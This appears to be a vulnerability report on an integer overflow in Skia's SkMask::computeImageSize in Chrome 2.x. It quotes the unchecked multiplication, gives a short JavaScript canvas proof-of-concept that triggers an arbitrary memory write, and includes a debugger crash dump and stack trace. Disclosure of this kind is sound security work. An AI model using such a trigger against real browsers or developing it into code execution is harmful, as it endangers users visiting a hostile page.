An integer overflow can be triggered in 
skia\sgl\skmask.cpp!SkMask::computeImageSize, which leads to Chrome (2.x) 
not allocating sufficient memory for data. This issue can likely be 
exploited to execute arbitrary code. The vulnerable code is:

size_t SkMask::computeImageSize() const
{
    return fBounds.height() * fRowBytes;
}

As you can see, there is no check if the result of the multiplication can 
fit in a size_t. Here's some JavaScript that can be used to trigger the 
issue:

<SCRIPT>
  oCanvas=document.createElement("CANVAS");
  o2dContext=oCanvas.getContext("2d");
  o2dContext.transform(78,76,-6,0,-10000,9);
  o2dContext.translate(-55,0);
  o2dContext.rotate(1000);
  o2dContext.shadowBlur=1000;
  o2dContext.shadowOffsetX=1;
  o2dContext.clearRect(1,5,48,-21);
</SCRIPT>

Here's more details:
    CdbFatalExceptionInfo(WriteAV()[arbitrary]@chrome!memset+0x65) (100% 
reproducable after 11 attempts, reducing)
        Attempt to write to arbitrary memory at arbitrary, instruction:
        03b6bf35 8807            mov     byte ptr [edi],al
        Registers:
            eax=000000ff ebx=03419b90 ecx=8b936f2d edx=00000001 
esi=05fee548 edi=8b936f2d esp=05fee50c ebp=05fee534 eip=03b6bf35
        Stack:
            ChildEBP RetAddr  
            05fee50c 03fc9abf chrome_28f0000!memset(unsigned char * dst = 
0xffffcf15 "--- memory read error at address 0xffffcf15 ---", unsigned char 
value = 0x14 '', unsigned long count = 1)+0x65
            05fee534 03fbf403 chrome_28f0000!SkA8_Blitter::blitH(int x = -
12523, int y = 380692, int width = 1)+0x5f
            05fee57c 03fbf27a chrome_28f0000!walk_edges(struct SkEdge * 
prevHead = 0x05fee5f0, SkPath::FillType fillType = kWinding_FillType (0), 
class SkBlitter * blitter = 0x0d079020, int stop_y = 384133, <function> * 
proc = 0x00000000)+0xd3
            05fee638 03fc0058 chrome_28f0000!sk_fill_path(class SkPath * 
path = 0x05feed98, struct SkIRect * clipRect = 0x00000000, class SkBlitter 
* blitter = 0x0d079020, int stop_y = 384133, int shiftEdgesUp = 0, class 
SkRegion * clipRgn = 0x05feee7c)+0x17a
            05fee6c0 03fd6c4b chrome_28f0000!SkScan::FillPath(class SkPath 
* path = 0x05feed98, class SkRegion * clip = 0x05feee7c, class SkBlitter * 
blitter = 0x0d079020)+0xd8
            05feebd0 03fb958a chrome_28f0000!SkScan::AntiFillPath(class 
SkPath * path = 0x05feed98, class SkRegion * clip = 0x05feee7c, class 
SkBlitter * blitter = 0x0d079020)+0xeb
            05feedd4 03f8d912 chrome_28f0000!SkDraw::drawPath(class SkPath 
* origSrcPath = 0x05fef194, class SkPaint * paint = 0x05feee08, class 
SkMatrix * prePathMatrix = 0x00000000, bool pathIsMutable = false)+0x3ca
            05feedf0 03fbdcfc chrome_28f0000!SkDraw::drawPath(class SkPath 
* src = 0x05fef194, class SkPaint * paint = 0x05feee08)+0x22
            05feeee0 03fbd9e4 chrome_28f0000!draw_into_mask(struct SkMask * 
mask = 0x05feefa4, class SkPath * devPath = 0x05fef194)+0xfc
            05feeef0 03fd6f62 chrome_28f0000!SkDraw::DrawToMask(class 
SkPath * devPath = 0x05fef194, struct SkIRect * clipBounds = 0x096af028, 
class SkMaskFilter * filter = 0x0d0a5020, class SkMatrix * filterMatrix = 
0x0a14d04c, struct SkMask * mask = 0x05feefa4, SkMask::CreateMode mode = 
kComputeBoundsAndRenderImage_CreateMode (2))+0x94
            05feefc4 03fb94dd chrome_28f0000!SkMaskFilter::filterPath(class 
SkPath * devPath = 0x05fef194, class SkMatrix * matrix = 0x0a14d04c, class 
SkRegion * clip = 0x096af028, class SkBounder * bounder = 0x00000000, class 
SkBlitter * blitter = 0x0d2d5020)+0x42
            05fef1d0 03f8d912 chrome_28f0000!SkDraw::drawPath(class SkPath 
* origSrcPath = 0x05fef36c, class SkPaint * paint = 0x05fef518, class 
SkMatrix * prePathMatrix = 0x00000000, bool pathIsMutable = false)+0x31d
            05fef1ec 03fb8d90 chrome_28f0000!SkDraw::drawPath(class SkPath 
* src = 0x05fef36c, class SkPaint * paint = 0x05fef518)+0x22
            05fef3a0 03f8d8ae chrome_28f0000!SkDraw::drawRect(struct SkRect 
* rect = 0x05fef55c, class SkPaint * paint = 0x05fef518)+0xe0
            05fef3b4 03f9066b chrome_28f0000!SkDevice::drawRect(class 
SkDraw * draw = 0x05fef3d4, struct SkRect * r = 0x05fef55c, class SkPaint * 
paint = 0x05fef518)+0x1e
            05fef450 03688600 chrome_28f0000!SkCanvas::drawRect(struct 
SkRect * r = 0x05fef55c, class SkPaint * paint = 0x05fef518)+0xcb
            05fef574 0352909d 
chrome_28f0000!WebCore::GraphicsContext::clearRect(class WebCore::FloatRect 
* rect = 0x05fef584)+0xf0
            05fef5a0 02c07654 
chrome_28f0000!WebCore::CanvasRenderingContext2D::clearRect(float x = 71, 
float y = -16, float width = 48, float height = 21)+0xad
            05fef5f8 03419eb9 
chrome_28f0000!WebCore::CanvasRenderingContext2DInternal::clearRectCallback
(class v8::Arguments * args = 0x05fef658)+0xe4
            05fef730 064f018b 
chrome_28f0000!v8::internal::Builtin_HandleApiCall(int __argc__ = 5, class 
v8::internal::Object ** __argv__ = 0x05fef760)+0x329
            WARNING: Frame IP not in any known module. Following frames may 
be wrong.
            05fef824 03351891 0x64f018b
            05fef8b8 03351762 chrome_28f0000!v8::internal::Invoke(bool 
construct = true, class v8::internal::Handle<v8::internal::JSFunction> func 
= class v8::internal::Handle<v8::internal::JSFunction>, class 
v8::internal::Handle<v8::internal::Object> receiver = class 
v8::internal::Handle<v8::internal::Object>, int argc = 100595660, class 
v8::internal::Object *** args = 0x0650a6b9, bool * has_pending_exception = 
0x06a3c4b9)+0x111
            05fef8dc 03320bb8 
chrome_28f0000!v8::internal::Execution::Call(class 
v8::internal::Handle<v8::internal::JSFunction> func = class 
v8::internal::Handle<v8::internal::JSFunction>, class 
v8::internal::Handle<v8::internal::Object> receiver = class 
v8::internal::Handle<v8::internal::Object>, int argc = 0, class 
v8::internal::Object *** args = 0x00000000, bool * pending_exception = 
0x05fef92b)+0x22
            05fef96c 02a5e5ef chrome_28f0000!v8::Function::Call(class 
v8::Handle<v8::Object> recv = class v8::Handle<v8::Object>, int argc = 0, 
class v8::Handle<v8::Value> * argv = 0x00000000)+0x108
            05fef9a4 02ace0bf 
chrome_28f0000!WebCore::V8Proxy::CallFunction(class 
v8::Handle<v8::Function> function = class v8::Handle<v8::Function>, class 
v8::Handle<v8::Object> receiver = class v8::Handle<v8::Object>, int argc = 
0, class v8::Handle<v8::Value> * args = 0x00000000)+0x5f
            05fefa20 035cb3da 
chrome_28f0000!WebCore::ScheduledAction::execute(class 
WebCore::ScriptExecutionContext * context = 0x08f59054)+0xff
            05fefa5c 036920c5 
chrome_28f0000!WebCore::DOMTimer::fired(void)+0x12a
            05fefa94 036921ea 
chrome_28f0000!WebCore::ThreadTimers::fireTimers(double fireTime = 
1239927738.0545001, class WTF::Vector<WebCore::TimerBase *,0> * 
firingTimers = 0x05fefaac)+0xb5
            05fefac8 03692136 
chrome_28f0000!WebCore::ThreadTimers::sharedTimerFiredInternal(void)+0xaa
            05fefad0 02904562 
chrome_28f0000!WebCore::ThreadTimers::sharedTimerFired(void)+0x16
            05fefae0 02904fdc 
chrome_28f0000!webkit_glue::WebKitClientImpl::DoTimeout(void)+0x22
            05fefaec 02904af4 
chrome_28f0000!DispatchToMethod<webkit_glue::WebKitClientImpl,void (class 
webkit_glue::WebKitClientImpl * obj = 0x061a9020, <function> * method = 
0x02904540, struct Tuple0 * arg = 0x05fefb03)+0xc
            05fefb08 03ac4b29 
chrome_28f0000!base::BaseTimer<webkit_glue::WebKitClientImpl,0>::TimerTask:
:Run(void)+0x54
            05fefbbc 03ac4bd5 chrome_28f0000!MessageLoop::RunTask(class 
Task * task = 0x0d195020)+0xb9
            05fefbcc 03ac5246 
chrome_28f0000!MessageLoop::DeferOrRunPendingTask(struct 
MessageLoop::PendingTask * pending_task = 0x05fefbf0)+0x35
            05fefc10 03b51aa0 
chrome_28f0000!MessageLoop::DoDelayedWork(class base::Time * 
next_delayed_work_time = 0x05dc9038)+0x116
            05fefcf8 03ac444b 
chrome_28f0000!base::MessagePumpDefault::Run(class 
base::MessagePump::Delegate * delegate = 0x05fefeb0)+0xf0
            05fefda8 03ac42b0 
chrome_28f0000!MessageLoop::RunInternal(void)+0xfb
            05fefde0 03ac413a 
chrome_28f0000!MessageLoop::RunHandler(void)+0x90
            05fefe08 03ae9138 chrome_28f0000!MessageLoop::Run(void)+0x3a
            05feffa4 03ae8271 
chrome_28f0000!base::Thread::ThreadMain(void)+0xb8
            05feffb4 7c80b713 chrome_28f0000!`anonymous 
namespace'::ThreadFunc(void * closure = 0x05ded02c)+0x21
            05feffec 00000000 kernel32!BaseThreadStart+0x37